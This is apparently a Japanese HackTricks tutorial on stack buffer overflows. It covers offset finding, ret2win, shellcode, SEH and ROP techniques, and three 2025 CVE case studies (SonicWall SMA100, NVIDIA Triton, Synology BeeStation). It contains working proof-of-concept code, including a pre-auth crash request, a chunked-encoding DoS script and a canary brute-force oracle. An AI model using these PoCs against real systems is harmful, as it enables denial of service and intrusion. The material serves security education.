Stack Overflow

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Stack Overflow とは何か

A stack overflow は、プログラムがスタックに割り当てられた量以上のデータを書き込むと発生する脆弱性です。余分なデータは 隣接するメモリ領域を上書きする ことになり、有効なデータの破損、制御フローの攪乱、場合によっては悪意あるコードの実行につながります。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によって発生することが多いです。

この上書きの主な問題は、前の関数に戻るための saved instruction pointer (EIP/RIP)saved base pointer (EBP/RBP)スタックに保存されている ことです。したがって、攻撃者はそれらを上書きして プログラムの実行フローを制御する ことができます。

この脆弱性は通常、関数が 割り当てられた量より多くのバイトをスタックにコピーする ために発生し、その結果スタックの他の部分を上書きできるようになります。

この脆弱性のある一般的な関数には: strcpy, strcat, sprintf, gets… また、fgets, read & memcpy のように 長さの引数 を取る関数も、指定された長さが割り当てより大きい場合に脆弱な使われ方をする可能性があります。

例えば、以下の関数が脆弱である場合があります:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

スタックオーバーフローのオフセットの特定

スタックオーバーフローを見つける最も一般的な方法は、多数の A を入力することです(例: python3 -c 'print("A"*1000)')。その結果、Segmentation Fault が発生し、アドレス 0x41414141 にアクセスしようとしたことが示されます。

さらに、一度 Stack Overflow の脆弱性を見つけたら、return address を上書きできるまでのオフセットを特定する必要があります。そのために通常使われるのが De Bruijn sequence です。これは、与えられたアルファベットのサイズ k と部分列の長さ n に対して、長さ n のあらゆる可能な部分列がちょうど一度ずつ連続部分列として現れる cyclic sequence です。

こうすることで、EIP を手動で制御するためにどのオフセットが必要か突き止める代わりに、これらのシーケンスのひとつを padding として使い、上書きされてしまったバイトがどの位置にあったかのオフセットを特定できます。

このために pwntools を使うことができます:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

または GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Stack Overflowsの悪用

オーバーフローが発生した場合(オーバーフローサイズが十分に大きいと仮定すると)、スタック内のローカル変数の値を上書きして保存された EBP/RBP および EIP/RIP(さらにそれ以上) に到達することが可能になります。
この種の脆弱性を悪用する最も一般的な方法は、return address を変更して関数終了時にcontrol flow がそのポインタで指定した場所にリダイレクトされるようにすることです。

ただし、他のシナリオではスタック上のいくつかの変数の値を上書きするだけでエクスプロイトが成立する場合もあります(簡単な CTF チャレンジなど)。

Ret2win

この種の CTF チャレンジでは、バイナリ内に存在するが決して呼ばれない関数があり、勝利するためにはその関数を呼び出す必要があります。これらのチャレンジでは、return address を上書きするオフセットと呼び出すべき関数のアドレスを見つければ良く(通常は ASLR が無効になっている)、脆弱な関数が return すると隠された関数が呼ばれます:

Ret2win

Stack Shellcode

このシナリオでは、攻撃者がスタックに shellcode を配置し、制御下にある EIP/RIP を利用してその shellcode にジャンプし任意のコードを実行できます:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows では、オーバーフローが保存された return address の代わりに Structured Exception Handler (SEH) チェーンを上書きすることがあります。エクスプロイトでは通常 SEH ポインタを POP POP RET ガジェットに置き換え、4 バイトの nSEH フィールドを短いジャンプに使って shellcode が存在する大きなバッファに戻るようにピボットします。一般的なパターンは、nSEH に短い jmp を入れ、その jmp が nSEH の直前に置かれた 5 バイトの near jmp に着地し、ペイロード開始地点まで数百バイト戻る、というものです。

Windows Seh Overflow

ROP & Ret2… techniques

この手法は、前述の手法に対する主要な保護をバイパスするための基本的なフレームワークです:No executable stack (NX)。また、binary 内に既存する命令を悪用して任意コマンドを実行するための他の手法(ret2lib、ret2syscall…)を行うことも可能にします。

ROP & JOP

Heap Overflows

オーバーフローが常にスタックに発生するわけではなく、例えば heap に発生することもあります:

Heap Overflow

保護の種類

脆弱性の悪用を防ぐための各種保護があります。詳細は以下を確認してください:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

sscanf を信頼して信頼できない入力を解析してはいけないことを示す良い例が、2025 年に SonicWall の SMA100 SSL-VPN アプライアンスで発生しました。/usr/src/EasyAccess/bin/httpd 内の脆弱なルーチンは、/__api__/ で始まる任意の URI からバージョンとエンドポイントを抽出しようとします:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 最初の変換 (%2s) は version2バイトを安全に格納します(例: "v1")。
  2. 2番目の変換 (%s) は長さ指定子を持たないため、sscanf最初の NUL バイトまでコピーし続けます。
  3. endpointstack上にあり、かつ 0x800 bytes long であるため、0x800バイトより長いパスを与えるとバッファの後にあるすべてが破損します ‑ stack canarysaved return address を含みます。

単一行の proof-of-concept で 認証前に クラッシュを引き起こすのに十分です:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

stack canaries はプロセスを中止させるが、攻撃者はそれでも Denial-of-Service のプリミティブを得る(および追加の情報 leaks により、code-execution を得る可能性もある)。

実世界の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) は、その HTTP API 経由で到達可能な複数の stack-based overflows を含んでいた。
脆弱なパターンは http_server.ccsagemaker_server.cc に繰り返し現れていた:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) は現在の HTTP リクエストボディを構成する 内部バッファセグメントの数 を返します。
  2. 各セグメントは alloca() を介して 16-byteevbuffer_iovecstack 上に割り当てます – 上限がまったくありません
  3. HTTP chunked transfer-encoding を悪用することで、クライアントはリクエストを 数十万個の6-byteチャンク"1\r\nA\r\n")に分割させることができます。これにより n はスタックが枯渇するまで無制限に増加します。

概念実証 (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
~3 MB 程度のリクエストで saved return address を上書きし、デフォルトビルドで **crash** させるのに十分です。

### 実例: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv の Pwn2Own 2025 チェーンは、port 5000 の `SYNO.BEE.AdminCenter.Auth` にある pre-auth overflow を悪用しました。`AuthManagerImpl::ParseAuthInfo` は攻撃者入力を Base64-decode して 4096-byte の stack buffer に入れますが、誤って `decoded_len = auth_info->len` と設定します。CGI worker がリクエストごとに fork するため、各子プロセスは親の stack canary を継承し、1つの安定した overflow primitive があれば stack を破壊し必要な秘密をすべて leak するのに十分になります。

#### Base64-decoded JSON を構造化された overflow として
デコードされた blob は有効な JSON で、"state" と "code" キーを含んでいる必要があります。そうでないと parser は overflow が有用になる前に throw します。Synacktiv は、JSON にデコードされるペイロード、その後に NUL バイト、さらに overflow stream が来るように payload を Base64-encoding することでこれを回避しました。`strlen(decoded)` は NUL で止まるため parsing は成功しますが、`SLIBCBase64Decode` は既に JSON オブジェクトを越えて stack を上書きしており、canary、saved RBP、そして return address を覆っていました。
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle による canaries & pointers の bruteforcing

synoscgi は HTTP リクエストごとに fork するため、すべての子プロセスは同じ canary、stack layout、および PIE slide を共有します。エクスプロイトは HTTP ステータスコードをオラクルとして扱います: 200 レスポンスは推測したバイトがスタックを保ったことを意味し、502(または接続の切断)はプロセスがクラッシュしたことを意味します。各バイトを逐次 Brute-forcing することで、8 バイトの canary、保存された stack pointer、および libsynobeeadmincenter.so 内の return address が復元されます:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr は、確認済みのプレフィックスを付けながら bf_next_byte を8回呼び出すだけです。Synacktiv はこれらの oracles を約16の worker threads で並列化し、合計 leak 時間(canary + stack ptr + lib base)を3分未満に短縮しました。

From leaks to ROP & execution

ライブラリのベースが判明すると、一般的な gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) により、/bin/bash-c、および攻撃者コマンドを leaked stack address にステージする arb_write primitive が構築されます。最後にチェインは SLIBCExecl(execl(2) をラップした BeeStation のラッパー)の calling convention をセットアップし、別個の info-leak bug を必要とせずに root shell を得ます。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする